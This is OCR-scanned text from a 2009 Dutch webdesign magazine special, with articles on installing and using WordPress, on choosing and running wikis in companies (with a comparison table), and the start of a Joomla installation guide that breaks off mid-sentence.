index.php in de browser, waarna je wordt 
doorgelinkt naar het admin-gedeelte of de 
achterkant van de Word Press-site. Op deze 
pagina kun je een naam voor de blog invoe- 
ren en dien je een geldig e-mailadres op te 
geven, Het systeem stuurt de toegangsge¬ 
gevens naar dit e-mailadres. 

Na een klik op de 'installeren'-button ge- 
nereert WordPress een wachtwoord voor 
de gebruiker of 'admin 5 . Daarna meldt het 
programma dat de installatie geslaagd is en 
presenteert het loginvenster. 

Een pas geinstalleerde WordPress-srte 
heeft nog geen map voor afbeeldingen 
en andere bestandsformaten, die in Word- 
Press geupload kunnen worden, zodat je 
ze in artlkelen kunt gebruiken. WordPress 
stelt als standaardinstelling wp-content/ 
uploads voor, maar de map uploads bestaat 
nog helemaal niet. De map moet dus eerst 
worden aangemaakt door de gebruiker en 
van sohrijfrechten worden voorzien. Even- 
tueel kun je deze rechten ook toekennen 
aan de bovenliggende map wp-content, 
zodat WordPress blnnen deze map zelf de 
submap kan aanmaken. Het nadeel daarvan 
is wel dat de map wp-content niet meer zo 
goed is beveiligd. 

Administrate op orde brengen 

Sinds de komst van versie 27 is de admin- 
interface flink veranderd, De navigafie zit 
sindsdien aan de (inkerkant De navigatie- 
balk kan uitgevoerd worden met symbo- 
len; submenu's worden dan na een slide- 
effect zichtbaar. Daarmee is het effectieve 
schermgebruik voor de back-end groter ge- 
worden. 

De startpagina van een Word Press-in stal¬ 
lage, het 'Dashboard' bevat de modules die 
een overzicbt van het blog geven. Daartoe 
behoren onder andere de laatst blnnenge- 
komen reacties, de mogelijkheid om een 
nieuwe post te starten of er een aan te pas- 
sen, een overzicht van toegevoegde media, 
de GuickPress-moduJe om snel een nieuwe 
bijdrage te schrijven enzovoort. Ook vind 


je op deze centrale plek het versienummer 
van de WordPress-installatie. 

Je doet er goed aan om na de nieuwe 
installatie van een blog eerst een kijkje te 
nemen bij Profile-' of 'ProfieMnstellingen. 
Hier kun je bijvoorbeeld de slogan en de 
titel van je blog instellen en het e-mailadres 
veranderen, die je allemaal tijdens de in¬ 
stallatie hebt opgegeven. Ook kan hier de 
URL-structuur naar eigen wens worden aan- 
gepast. De eigenaar van het blog kan hier 
bovendien de rechten voor schrijven, lezen 
en reageren veranderen. 

Sinds WordPress versie 27 kun je bijna 
alle pagina's van de backend volgens je 
eigen smaak inrichten. Via de zogenaamde 
'Screen Options' rechfsboven kunnen ge- 
deeltes van de admin-paglna's zichtbaar 
of onzichtbaar gemaakt worden. Boven¬ 
dien kun je de modules naar de gewenste 
plek drag & droppen. Deze flexibilitest op 
het gebied van vormgeving vind je in het 
hele systeem terug. De aanpassingen die 
je met WordPress zelf niet kunt doen, kun 
je hoogstwaarschijnlijk wel met een van de 
ontelbare plug-ins doen, 

Een blogpost maken 

De gebruiker heeft bij het schrijven van ar- 
tikeien de keuze tussen twee editors, Achter 
de standaard ingestelde visuele weergave 
gaat een WYSIWYG-editor met de naam 
Tiny MCE schuiL In de HTML-weergave kan 
de ervaren gebruiker ook direct HTML-code 
invoeren, 

De auteur kan tags aan zijn bericht toe- 
voegen en de post in een categorie hangen. 
Ook kan voor elk artikel afzonderiijk vastge- 
legd worden of het een wachtwoordbevei- 
liging moet krijgen en of bezoekers com- 
mentaar mogen geven. 


De auteur kan een afgerond artikel direct 
publiceren, het eerst nog als 'preview 1 be- 
kijken en het op een bepaalde datum en 
tijd online laten gaan. Artlkelen die nog niet 
klaar zijn, kunnen vanzelfsprekend als draft 
worden opgeslagen. Artlkelen kunnen ook 
via e-mail worden geschreven en bijvoor¬ 
beeld onderweg gepubiiceerd worden. 

De voors en tegens 

Hoewel WordPress van huis uit een web- 
logpakket is, kunnen er tegenwoordig ook 
complete websites en cms'en mee gebouwd 
worden. Een bedrijfs- of verenigingswebsite 
is dan ook prima metWordPresstebouwen. 
Hierbij schuift de betekenis van het blog- 
onderdeel naar de achtergrond ten gunste 
van een 'normale 1 webpagina-indeling. 

Het gedeelte van WordPress wear deze 
pagina's gebruik van maken was oorspron- 
kelijk bedoeld om statische informat te te 
huisvesten, zoals een impressum of con- 
tactgegevens, De WordPress-ontwikkelaars 
hebben deze functie stukje bij beetje uitge- 
breid, Zo kan inmiddels fn plaats van de ge- 
bruikelijke opsomming van de nieuwste bij- 
dragen een statische pagina als startpagina 
worden ingericht Op die manier verandert 
WordPress feitelijk in een generiek content- 
managementsysteem. 

Dit iukt echter alleen als de eisen aan het 
gebruikersbeheer nietal te hoog zijn. Erzijn 
namelijk vijf standaard gebruikersniveaus: 
beheerder, redacteur, auteur, medewerker 
en abonnee (deze benamingen kunnen van 
versie tot versie verschillen), elk met ver- 
schillende rechten. De beheerder heeft de 
mogelijkheid om deze niveaus toe te wij- 
zen. 

Deze standaard gebrutkersprofielen kun 
je niet veranderen en ook niet aanvullen 


c H t special 1/2009 - Webdesign 


35 


















Content Management | WordPress 


met nieuwe varianten. Als je een gedetail- 
leerder rechtenbeheer wilt, zodat een ge- 
bruiker bijvoorbeeld mee mag werken aan 
een artikel en een andere niet, kom je met 
het Spartaanse gebruikersbeheer van Word- 
Press niet verder. 

Een andere llmiet vindt zijn oorsprong 
in de opbouw van het systeem. WordPress 
slaat inhoud in een MySQL-database op en 
genereert hier met behulp van PHP web- 
pagina's van. Dat geeft een grotere server- 
belasting dan gewone statische pagina's. 
Hierdoor kan een drukbezochte website 
onder bepaalde omstandigheden de server 
platleggen. Op dit gebted zijn tontentma- 
nagementsystemen, die met behulp van 
caching statische HTML-paglna's afleveren, 
duidelijk in her voordeeL Met een voor- 
beeld als TechCrunchxom wordt evenwel 
aangetoond dat je hele grote websites met 
WordPress kunt aansturen. Bovendien is het 
ook in WordPress via een plug-in mogelijk 
om aan caching te doen. Ook kun je het af- 
leveren van een newsfeed overdragen aan 
dienstverleners als FeedBurner. 

Over plug-ins 



De kern van de WordPress-backend heeft alternatief een WYSIWYG- of een broncode-editor. 


Een van de sterkste punten van WordPress is 
het aan bod aan gratis beschikbare plug-ins. 
Vanaf versie 2.7 kunnen plug-ins niet alleen 
vanuit de backend warden geupdatet, maar 
ook vanuit de off)dele plug-in-directory wor- 
den geinstalleerd. Ook het uploaden op de 
klassieke manier - met een ftp-programma - 
werkt overigens nog altijd. 

In een nieuwe WordPress-installatie zijn at 
twee plug-ins geinstalleerd (maar nog niet ge- 
activeerd), De ene, Aklsmet, helpt bij de strijd 
tegen commentspam, waarmee een blogger 
te maken kan krijgen. De 'Hello Dolly'-plug-in 
doet daarentegen niets anders dan volgens 
het toevalsprincipe citaten uit het lied van 
Louis Armstrong in de backend weergeven, 
een van de vele kieine dingen die WordPress 
zo leuk maken, 

De plug-ins varieren enorm: van bezoekers- 
statistieken en tools voor het online zetten 
van audiobestanden, tot fcrmulieren, polls en 
leuke toepassingen als Sudoku in de zijbalk of 
een sneeuwvlokkendecorinde winter. 

De plug-in WordPress.com Stats f die net als 
WordPress afkomstig is van Automatic Inc, 
steJt bijvoorbeeld eenvoudige statfstieken op 
over de populalrste artikelen en pagina's en 
de herkomst van de bezoekers. Een nuttige 
aanvulling hierop is Search Meter, dat statis¬ 
tieken verzamelt waarnaar de bezoekers bin- 
nen de blog zoeken. 

Googles XML-Sitemap maakt sitemapbe- 
standen aan in XML-formaaL De informatie 


Handige Word Press-plug-ins 


WordPness.com Stats 
Search Meter 
Googles XML-Sitemap 
Live Comment Preview 
Contact Form 7 
German Permalinks 


In dit bestand is vooral interessant voor zoek- 
machines en maakt het de Google-crawler 
gemakkelijker. 

Om het becommentarieren voor de bezoe- 
kef makkelijkerte maken, tovert de Live Com¬ 
ment Preview-plug-in een preview van de in- 
voer te voorscbijn. Op deze manier kunnen de 
commentaren voor publlcatie gecontroleerd 
warden, 

Het is niet gemakkelijk om handmatig een 
goed contactformulier te maken, maar met 
Contact Form 7 is het een fluitje van een cent, 
omdat deze plug-in kant-en-klare componen- 
ten aanbiedt. Een permalmk-plug-in maakt 
een eind aan de problemen die vaak de kop 
opsteken bij URL's met speciale tekens, Met 
een permalink kun je elke post een passende 
url geven, waarin bijvoorbeeld de datum en 
trjd zijn opgenomen. 

Even opletten.,. 

WordPress laat zich in principe gemakkelijk 
instaileren en gebruiken. Desalniettemin kun 
je toch vastlopen, Zo wil het bij het installe- 
ren nog wel eens mlsgaan door verkeerde 
databaseopgaven in het bestand wp-config. 
php. Belangrijk zijn ook regelmatige vei- 
ligheidsupdates van het systeem, waaraan 
WordPress je in het Dashboard herinnert. He- 
laas duiken er steeds weer veifigheidsgaten 
op die de beheerder zo snel mogelijk moet 
dichten, aangezien succesvolle systemen in 


het algemeen een gellefd doelwit zijn van 
hackers. 

Vanaf versie 2.7 zijn Word Press-up dates 
direct vanuit de backend te doen, dus zonder 
omweg via ftp. Dat maakt het g eh eel een stuk 
comfortabeler. De bij dit soort gelegenheden 
aan te raden back-ups worden uitgevoerd 
door de ingebouwde exportfunctie, die bij- 
dragen en commentaren in een XML-bestand 
opslaat of door een plug-in voor back-ups op 
databaseniveau, 

Sommrge mensen die voor het eerst met 
WordPress aan de slag gaan, raken over- 
enthousiast en proberen zonder voorkennis 
een eigen theme te maken. Dit vergt echter 
de nodige kennis van HTML en CSS en op 
zijn minst wat baslskennis van PHP, De vele 
Functies die in Word Press-themes beschikbaar 
zijn, staan gedocumenteerd op http://codex. 
wordpress.org. 

Als je op zoek bent naar nieuwe thema's, 
kun je putten uit de rijke verzameling Word- 
Press-themes die je kunt vinden onder http;// 
wordpress.org/extend. Als gebruiker kun je 
dus ook zonder veel voorkennis uttblinken 
met bijzondere ontwerpen of extra's op je pa- 
glna. Of je nu voor het eerst aan de slag gaat 
met bfoggen of PHP-professional bent, Word- 
Press is op dit moment toonaangevend onder 
de blogsystemen. (ggo) 
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Anja Ebersbach, Radovan Kubani 

Samen weven 

Wiki's in bedrijven 

Het gebruik van wiki's in bedrijven wordt steeds popuiairder. Los van de Web 
2.0-hype kun je er praktische kennis mee verzamelen en medewerkers mee 
motiveren - of je laat een belangrijk voordeel van de IT liggen. 
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W iki’s worden vooral gebruikt voor 
technische documentatie, bijvoor- 
beeld in de IT voor bedrijfshand- 
boeken, handleidingen of gebruikerssup- 
port. Maar ook voor andere bedrijfstakken 
zijn wiki's interessant: ze zijn ideaal als 
informatieportaal voor buitendienstmede- 
werkers of om informatie over klanten en 
partners te verzamelen of om workflows en 
kwaliteitsstandaarden te documenteren. 

Zo verschillend als de toepassingsgebieden 
zijn, zo divers zijn ook de eisen die aan een wiki 
worden gesteld. Je kunt in principe voor elk 
mogelijk onderwerp een intranet-wiki opzet- 
ten, maar ze zijn met name bijzonder geschikt 
voor onderwerpen die je uitsluitend intern wilt 
houden, zoals personeelsbeleid, projecten, 
productontwikkelingen of financien. 

Soms kan een combinatie van intranet- 
en extranet-wiki ook zinvol zijn. Bij bedrijfs- 
handboeken, gebruikerssupport of product- 
documentatie kan het bijvoorbeeld handig 
zijn om deze ook ten dele extern toeganke- 
lijk te maken, door ze bijvoorbeeld aan gere- 
gistreerde gebruikers beschikbaar te stellen. 

Het extranet speelt een nog grotere rol 
bij buitendienstmedewerkers die geen 
toegang tot het intranet hebben. Veel wiki¬ 
providers bieden gehoste kant-en-klare op- 
lossingen aan, die een duidelijk scheiding 
tussen extranet en intranet waarborgen en 
een veilige verbinding mogelijk maken. Je 
mag dan echter niet teveel verwachten van 
de mogelijkheden om de wiki aan je eigen 
wensen aan te passen. 


Wiki-motors 

Zoveel verschillende toepassingsgebieden 
er voor wiki's zijn, zo groot is ook de diver- 
siteit aan verkrijgbare systemen. Uiteraard is 
de achter Wikipedia schuilgaande MediaWiki 
de meest bekende wiki-toepassing. Maar er 
zijn meer dan genoeg concurrerende syste¬ 
men die geoptimaliseerd zijn voor uiteenlo- 
pende toepassingsgebieden en systeemom- 
gevingen. 

Er is bijvoorbeeld TWiki, dat uitblinkt 
door subcategorieen, gestructureerde data 
en een sterk configureerbare zoekoptie. Of 
DokuWiki, een lichtgewicht die zich beperkt 
tot de essentiele functies. PmWiki biedt 
onder andere een toegangscontrole voor 
afzonderlijke pagina’s. Confluence, de be¬ 
kende enterprise-wiki van het Australische 
Atlassian, is onder andere aantrekkelijk door 
talrijke extensies. Wikimatrix.org heeft een 
lijst van meer dan 250 engines. 

Wat gebruiksvriendelijkheid betreft is er 
bij de wiki's de laatste jaren veel gebeurd. 
Veel systemen hebben inmiddels bijvoor¬ 
beeld een ingebouwde WYSIWYG-editor. 
Een belangrijk kenmerk voor wiki's was al- 
tijd de eenvoudige syntaxis, maar die wordt 
hierdoor minder belangrijk - de opmaak 
via selecteren en klikken is nog makkelijker. 
Hiermee vervalt ook het probleem dat je 
voor elke wiki een aparte programmeertaal 
moet leren. Helaas worden zelden specifieke 
wiki-editors gebruikt maar standaard HTML- 
editors. Je moet dan bij het aanmaken van 


nieuwe pagina's of bij het koppelen van sja- 
blonen toch nog het nodige handwerk ver- 
richten. 

De uitbreidbaarheid van een wiki is een 
belangrijk punt bij de keuze van de software. 
Tegenwoordig exploiteer je vaak niet meer 
alleen een wiki, een blog, een CMS of een 
social network, maar eerder een combinatie 
van deze, met steeds meer overlappende 
functies die alleen nog verschillen in het on- 
derliggende basissysteem. De CMS Joomla 
of de teamworksoftware eGroupWare kun- 
nen wiki's naadloos integreren. 

Een belangrijk onderwerp bij de wiki- 
ontwikkeling zijn 'semantic wiki's' met ge¬ 
structureerde gegevens. Wikipagina’s bevat- 
ten veel informatie, maar die staat verspreid 
over de hele tekst en kan door toepassingen 
nauwelijks verwerkt worden. Het is dus be¬ 
langrijk om de teksten en de relaties tussen 
de pagina's onderling in een gestandaardi- 
seerd, voor machines leesbaar formaat te 
krijgen, zodat ook andere diensten er ge- 
bruikvan kunnen maken. 

Het probleem van elke semantische wiki 
is dat de normale gebruikers, die de wiki met 
inhoud vullen, niet graag met ingewikkelde 
regels en codes willen werken. Semantische 
wiki's zullen in hun pure vorm dan ook voor- 
behouden blijven aan de community's van 
experts. Het is een ander verhaal als je een 
wiki combineert met social tagging. Daarbij 
kunnen bezoekers categorieen toekennen 
aan een pagina of hun goedkeuring uitspre- 
ken met een muisklik. Wil dat in de praktijk 
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De Hallo Wiki Sunrise-website biedt een 
'sandbox', waar je een tijdelijke proefwiki 
online kunt samenstellen. De tool biedt 
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enlgszins werken, dan heb je wel 
een grote community nodig. 

Naarmate de wlkipagina's vol- 
wassener worden, gaat de kwes- 
tie spelen of een pagina 'over*- 
bewerkt kan worden. Kan er een 
punt worden bereikt r waarbij een 
nieuwe wijziging het resultaat verslechtert 
in plaats van verbetert? Bij Wikipedia deed 
zich dit probleem in sommige gevallen voor, 
daarom maakt Wlkimedia al een tijdje een 
onderscheid tussen een stabieie en een 
ontwikkelingsversie van een artikel - net 
als bij de ontwikkeling van opensourcepro- 
gramma's. Ook in kleine en projectgerichte 
wiki's is deze onderverdefing zinvol, bijvoor- 
beeld als een tussenversie van een tekst 
nog goedgekeurd moet worden. Enterprise- 
wiki^ zoafs de HalloWiki bieden hiervoor 
zelfs een workflowplug-in aan, 

Een gebrek van wiki's was dat tijdens het 
bewerken de communicatie met de server 
en dus het uitwisselen van gegevens op dat 
moment feiteiijk bevroren was. Ajax kan hier 
verandering in brengen, want daarmee kun 
je bewerkingsconflicten in realtime herken- 
nen. WYSIWYG wordt geperfectioneerd, 
omdat de paginastatus van interne links kan 
worden opgevraagd. En misschien zai einde- 
lijk ook de droom in vervulling gaan van een 
artikel waar meerdere auteurs synchroon 
aan kunnen schrijven. 
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wikisysteem dergelijke zwaargewichten ver- 
vangt, maar ze met zijn snelle en makkelijke 
methoden aanvult r Een wiki kan voorzien in 
nog ontbrekende informatie of de aanwe- 
zige informatie structureren en in nieuwe 
samenhangen brengen, 

Het koppelen van een wiki aan een CMS is 
technisch gezien geen groot probleem. Het 
lastige is vaak te beslissen voigens welke 
methodeje de wiki het beste kunt koppelen: 
moet de CMS naar de wiki linken of moet de 
wiki de baas zijn, zodat je het CMS via wiki¬ 


links bereikt? Moet het 
een groot bedrijfs I exicon 
worden of gaat de voor- 
keur uit naar afzonder- 
lijke wiki's per afdeling? 
Sommige wiki-engines 
bieden bovendien een 
connectie naar Share- 
point en soortgenoten. 
Ook zonder een combi- 
natie met zulke ’col la- 
boration suites 1 kun je 
vee! wiki 's a I koppelen 
aan een Active Directory 
(LDAP) en is een 'single 
sign-on' al mogelrjk. Dit 
laatste is het eenmalig 
hoeven authenticeren 
voor alle toepassingen in 
het netwerk. 

Een grote uitdaging 
is de complexiteit van 
alle bestandsformaten 
die je in het Intranet 
aantreft. Veel beiang- 
rijke gegevens en data 
die aan de wiki moeten 
worden toegevoegd, zijn 
al ergens opgeslagen. 
bijvoorbeeld in Office- 
documenten. Daar hebben de meeste sys- 
temen nog moeite mee. Er bestaan al wel 
uitbreid ingen voor het importeren, bijvoor¬ 
beeld voor MediaWiki, maar die kunnen at- 
leen maar simpele bestanden aan. Bij tabel- 
len of presentaties laten ze het afweten. 

Wiki's zijn bijzonder effectief bij een full- 
text-search. Intranetgebruikers verwachten 
door hun ervaringen op internet dat ze re- 
levante Informatie binnen enkele seconden 
zullen krijgen. Intranetportalen kunnen 
vaak niet aan deze eis voldoen: soms kijkt 


in RBW TrtfidUw] 


tvc 


roues 


random lien! u>oM 


n*w _ pa^e relrteo . view 

forum . paga 

•a la hrt to ry to y aourcv 


JVIaln Tropes Index 

Tropervilie 
Editing Help 
Tools 

Title Search 
Text Search 
Cut List 


ATI i'-fan 


Back to ApologisesALot 


Search | 


Intranetintegratie 


Trope Repair 
Shop 


Apologises A Lot Discussion _ mm to watchU bi tfropw«&tn go 

to WllChiBl 


Als je een geschikte engine en de gewenste 
uitbreidingen hebt gekozen r moet je die in 
je bestaande intranet Integreren - meestal 
dus in een CMS dat als portaal voor toepas¬ 
singen als Customer Relation Management 
(CRM) of voor documentmanagementsys- 
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Microsofts Sharepoint, SAP en de open- 
sou rceoplossing Alfresco wekken de indruk 
dat ze gesloten systemen zijn met een func- 
tieomvang die alle behoeften volledlg af- 
dekt. Het is echter niet de bedoeling dat een 
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Ook PmWlki (hier in gebruik bij tvtropes.org} heeft discussiepagma's voor onderwerps- 
pagina’s. 
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een zoekopdracht met naar alle aanwezige 
bronnen of leveren de resultaten alleen waf 
kange Informatie. Sommige wiki's beschik- 
ken daarentegen over een effeetieve zoek- 
engine die niet alleen wlkl-arttkelen scant 
maar ook gekoppelde Qffice-documenten. 
Soms kun je de configuratie ook uitbreiden 
naar het complete intranet of een fileserver. 

Community Building 

Heeft een wiki ook een community nodig? 
Als deze vraag met nee' wordt beam- 
woordt, kom je meestal uit bij een wiki die 
ergens In de speionken van de IT-omgeving 
zal wegkwijnen. Soms is een community 
echter niet zo beiangrijk - een verklarende 
woordenlijst of IT-documentatie, waarbij de 
taak en het doel duidelijk zijn gedefinieerd, 
leeft bijvoorbeeld niet per se van commu¬ 
nity-features, Hler is het belangrijker een 
goede groep te hebben die de inhoud zorg- 
vuldig en zo volledig mogelijk op een rij zet, 
De community is dan eerder bezig met het 
verrijken en het structureren van de inhoud, 
De community-features spelen in dit geva! 
nog wel een bijrol: ze bieden ruimte voor 
minder formele onderwerpen - net als een 
koffiehoekje waar je in een minder formele 
sfeer de laatste rod dels uitwisselt. 

In de meeste gevallen bevordert een le- 
vende community de kwaliteit van de in¬ 
houd en warden deelnemers aangespoord 
om mee te werken, Als je bijvoorbeeld een 


minder duidelijk gedefinieerd dan bij een 
glossarium. In dat geval is de toegevoegde 
waarde van een wiki niet noodzakelijk met- 
een duidelijk - pas als iemand er het Indt- 
vlduele persoonlijke nut van inziet, zaJ de 
bereldheid om zelf een steentje bij te dra- 
gen toenemen. In eerste instantie heb je 
dus een soort katalysator nodig. De verant- 
woordelijken voor de wiki moeten feedback 
leveren aan de groep die de eerste inhoud 
en structuren moet opbouwen - bijvoor¬ 
beeld door bijzonder ijvenge, creatieve me- 
dewerkers op de startpagina te prijzen of 
een taart te beioven voor het 250ste artlkel 
ofzoiets. 

Je moet de verwachtlngen van een wikf 
echter ook wear niet te hoog steilen - je 
moet een wikiproject niet meteen op het 
niveau van Wikipedia inschalem De wiki zal 
vanzelf groeien. Hierbij is vertrouwen in de 
tool, maar zeker ook in de gebruikers heel 
beiangrijk, Als je bij een wiki controle over 
het proces wilt hoyden, zul je dat proces 
eerder afremmen. 

Wiki-farms 

Ats je een werkende wiki hebt, zul je snel 
een tweede willen. Wiki-farming maakt het 
mogelijk om met £en druk op de knop op 
de server nieuwe wiki's voor verscbiliende 
werkgroepen, afdelingen of filialen aan te 
maken, te wissen en meerdere wiki's mak- 
kelljk en centra a! te beheren, Bovendien is 


rallelle wiki s in meerdere talen of voor een 
verdeling in een centrale wiki en een aantal 
flexibele ex pert-wiki's, Nieuwe wiki's worden 
dan aangemaakt op basis van een reeds be- 
staande wiki, waardoor een beheerder elke 
wiki niet afzonderlijk hoeft aan te passen, 
Een wlki-farmingsysteem maakt het 
mogelijk makkefijk te monitoren: actieve 
en minder actieve projecten kun je snel 
identificeren en gebruikersrechten worden 
centraal beheerd. Bovendien kun je inhou 
delijk kant-en-klaar gestructureerde wiki's 
aanbieden, die bijvoorbeeld het maken van 
een taakverdeling eenvoudiger maken. Bo¬ 
vendien kun je de wlki-insfantfes kwantita- 
tief analyseren. 

Condusie 

Wiki’s kunnen bijdragen aan samenwer- 
kingsverbanden en open relaties in een 
bedrijf Je moet echter eerst het prlncipe 
achter het gezamenlijk bewerken en orga- 
niseren van teksten begrijpen, Teveel tech- 
nische features, regels en categorieen kun¬ 
nen de creativiteit smoren, die met de wiki 
nou juist ontplooid moet worden, Er bestaat 
geen optimale wiki voor alle doeleinden: 
de systemen verschillen soms enorm wat 
betreft uitrusting en uitbreidbaarheid. In- 
middels is er wel een aantal robuuste kant- 
en-kfare oplossingen die enigszins aan de 
diverse eisen van een wiki voldoen en die 
met uitbreidingen aangepast kunnen wor¬ 


bedrijfslexicon wilt opbouwen, is de inhoud 

dat een geschlkte technische basis voor pa- 

den. 


(mja) 

1 De belangrijkste wiki-systemen 


bitweaver 

Confluence 

DokuWiki 

Hallo Wiki 

Media Wiki 

PmWiki 

ProWiki 

TWiki 

Actuele vecsie 

2,6 

3,0 

2009-02-T4b 

1.3 

1,15,0 

2,2,1 

2,0.045 

4,3,1 

Homepage 

wwwMweaver.org 

www.atla^siao.cQm 

www.dokuwil.org 

www.haEEowlki.biz 

www.mediawlki.Drg 

www.pmwJkl.org 

www.prowlki.org 

www.twlkiorg 

Lkentie 

LGPL 

commercial 

GPL 

tommercieel 

GPL 

GPL 

GPL 

GPL 

Doelgroep 

systemen metveel 

bedrijfsklanten 

prive-gebrrikers, mid¬ 

alle 

prive-gebruikers, 

alle 

individoelewiki- 

gemlddeide tot grote 


bezoekers 


den- en kleinbedrijf 


wdiolen 


prajecten onder de 

bedrijven, com¬ 








10,000 paginal; 
wikifarms 

munities 

Systeemeisen 

Webserver 

Apache, IIS 

Tomcat, Weblogic, 

elke Webserver met 

Apache, IIS 

Apache, US 

Apache, IIS e,a. 

elke Webserver 

Apache e.a. 



JBoss, Websphere, etc 

PHP 




met Perl 


Tasl 

PHP 

Java 

PUP 

PHP 

PHP 

PHP 

Peri 

Perl 

Data Dps lag 

MySQL, PtostgreSQL, 

bestaodsgebaseerd 

bestandsgebaseerd 

MySQL 

MySQL, PostgreSQL, 

bestendsgebaseerd 

bestandsgebaseerd 

bestandsgebaseerd 


Oracle, Sybase 




Grade 




Funrties 

Toegangscotrtrrie per 
paging 

s' 

ACL 

ACL 


- 

ACL 1 , LDAP 1 



SubnSveaus 

v' 1 

v' 1 

- 

- 

- 

sZ {groepen) 

V (complete wtki} 

{1 niveau) 

Gestructureerde data 

v' 1 


S* 

>/ 


- 

^ (variabelen) 

formtilieren 

Tagging 



s' 


categorieen 

- 

- 


Beschikbare talen 

3Q 

15 

40 

2 

ca. T37 

33 

7 

16 

POF-export 


s 


S 




v' 

Uitvoer als presentatie 



v^ 1 

- 

- 

- 

- 

v/ 

Commentaren 

threaded 

threaded 

disctissiepag ina' 

discussfepagma 

discussiepagina 

discussiepagina 1 

- 

threaded 

Usability 

Paginal per alinea te 
bewerken 

- 

S 


✓ 


v/ 1 


S' 

WVSIWYG-editor 

optionee] 

S 



y 1 

v/ 1 

- 

s 

Beslan dsanactiments 


s 

✓ 

S 


optionee! 


s 

Uitbreidingen 

vZ 

s 

v/ 

y 



- 

s 

Bijzonderheden 

wiki als module in 

She reprint Connector, 

Mein, makkelijkte 

gebaseerd op Media- 

Wikipedia-engioe; 

overzEchtelijk, no- 

fractal Wiki : indlvkfri¬ 

geoptimaliseerid voor 


CMS-pakket 

blog r gallery 

bedienen 

Wiki; Sharepoint 

discussiepagina ge- 

buust, veel features 

de wiki's in de wiki 

intmnetgebrifik 





Connector, workflow, 
blog e.a. 

koppeld aan artlkel 


mogelijk 


’iwtpki^n 2 a 

fsomferdeel van het CM' 

5-pakket ✓ asrtwezjg -nretaanweag 
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ontelbare uitbreidingsmogelijkheden kan Joomla voorveel verschillende 
toepassingen worden gebruikt. 


Je hoeft geen informatica gestudeerd te hebben om een contentmanagement¬ 
systeem te kunnen bedienen. Joomla is in een paar minuten geinstalleerd 
en is bovendien eenvoudig te beheren. Door de modulaire opbouw en de 
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J oomla is een van de meest gebruikte 
opensource contentmanagementsys- 
temen (CMS). Het ontwikkelteam van 
Joomla gaat uit van meerdere miljoenen 
installaties op publieke servers, vooral in 
het MK8, bij verenigingen en openbare in* 
stellingen. Ook in Nederland draaien een 
groot aantal sites met Joomla als CMS. 

Joomla kan geTnstalleerd worden op 
Apache, IIS en op iedere andere Webserver 
met PHP vanaf versie 43.1.0. Bovendien 
heeft joomla 10 MB schijfruimte en een 
MySQL-database [3.23 of hoger) nodig. Om 
wat te experimenteren kun je hef beste 
een lokafe testomgeving gebruiken. Oe 
makkelijkste mamer om de noodzakelijke 
componenten Apache, MySQL en PHP lo- 
kaal te in stall ere n, is gebruik te maken van 
zogenaamde all-in-one instaflatiepakket- 
ten zoals XAMPP van apachefriends.org 
(zie softlink), We beschrijven hier de m- 
stallatie en de eerste stappen met Joomla, 
zowel op een lokale Windows-pc als bij de 
provider. Onder de softlink staat een kant- 
en-klaar ingerichte XAMPP met Joomla al 
geTnstalleerd. 

Uploaden 

Voordat je Joomla lokaal kunt installeren, 
moet je eerst het XAMPP-archief in een di¬ 
rectory naar keuze uitpakken en installeren 
door het bestand sefup_xampp.bat uit te 
voeren, Vervolgens kunnen de Apache- en 
de MySQL-server gestart worden met het 
bijgeleverde XAMPP-control. Als alles is ge- 
lukt, zou de startpagina van XAMPP op het 
a d re s http ://loca l ho st/ b e re i kb a a r moete n z ij n. 

Daarna pak je de Joomla-bestanden uit 
in de document-root van de Webserver. Bij 
XAMPP is dat de directory htdocs. Met http:// 
localhost/<Joomla-dlredory>/inclex.php dan wel 
www.webserver.nl/<JoomLa-directory>/index.php 
start je daarna het Joomla-installatiescript. 
De installer onderzoekt het systeem, de 
PHP-msteliingen en de schrijfrechten van 
bepaalde bestanden en directories. Als er 
(rood aangegeven) foutmeldingen verschij- 
nen, moet je de problemen volgens de aan- 
wtjzingen oplossen. 

Bij het installeren bij een provider zul 
je wellicht de ontbrekende schrijfrechten 
moeten toevoegen. Het is voldoende als 
de gebruiker waaronder de server draait 
(onder Linux is dat meestal www of nobody) 
schrijfrechten voor bepaalde Joomla-direc- 
tories heeft. Die rechten kun je aanpassen 
met het commando chmod. Die opdracht 
word! door elke gangbare FTP-client onder- 
steund. Mochten er foutmeldingen komen 
over de instellingen van PHP, dan zul je 
php.inl wellicht moeten aanpassen of de 
provider moeten vragen de noodzakelijke 
instellingen uit te voeren. Op dit moment 
zijn er ook veel providers die een one-dick- 
installatie van Joomla aanbieden, waar dan 
sowieso geen instellingsproblemen mee te 
verwachten zijn. 

Een wizard helpt je bij de verdere instalfa- 
tiestappen en vraagt je om de gebruikelsjke 



zaken in te voeren. Belangrijk zijn welke da¬ 
tabase je wilt gebruiken (hostnaam, wacht- 
woord, gebrulkersnaam, databasenaam) en 
de algemene instellingen van de website. 
Bij een lokale installatie heet de database- 
server Lotalhost, de MySQL-gebruiker root en 
I a at je het wachtwoordveld leeg - een sys- 
teem met deze default parameters mag om 


veiligheidsredenen van buitenaf natuurlijk 
niet toegankelijk zijn, De naam van de da¬ 
tabase maakt verder niet uit; voor de in rich- 
ting van de tabellen kun je het beste het 
voorgestelde voorvoegsel jos„ overnemen. 

De rest van de installatie wijst zichzelf 
en zaf geen problemen opleveren. Daarna 
meet je de subdirectory installation verwijde- 


Stappen 

1: Ptb -installatlE ctmlial# 

J Lciane 
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De Joomla-installer onderzoekt het systeem en meldt het als er noodzakelijke 
componenten ontbreken of de administrator bepaalde instellingen moet wijzigen. 
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De interface is overzichtelijk; een aantal belangrijke functies hebben knoppen, de rest is 
via het menu toegankelijk. 


ren (of hernoemen), waarna je bij het front- 
en het back-end van Joomla kunt komen. 

Overzichtelijk dashboard 

Als kersverse beheerder log je in via het 
adres http;//localhost/<Joomla-directory>/adminis- 
trator dan we I http://www < webserwer.nl/<Joomla- 
directory>/administrator met de gebruikersnaam 
admin en het wachtwoord dat je tijdens de 
installatie hebt opgegeven. De waehtwoor- 
den worden MD5-gecodeerd opgeslagen 
in de tabel jos_users in het veld password. Als je 
het wachtwoord mocht vergeten, maak je 
met een MD5-generator een nieuw wacht¬ 
woord aan en voer je dat handmatig in het 
databaseveld in, bijvoorbeeld met het data- 
basebeheerprogramma phpMyAdmin van 
de XAMPP-omgeving. 

Het back-end ziet er in vergelijking met 
andere CM-systemen heel overzichtelijk uit. 
Om gebruik te kunnen maken van het be- 
heersdeel moeten JavaScript en cookies ge- 
activeerd zijn, Zonder JavaScript loopt met 
alleen het aanmelden spaak, maar kunnen 
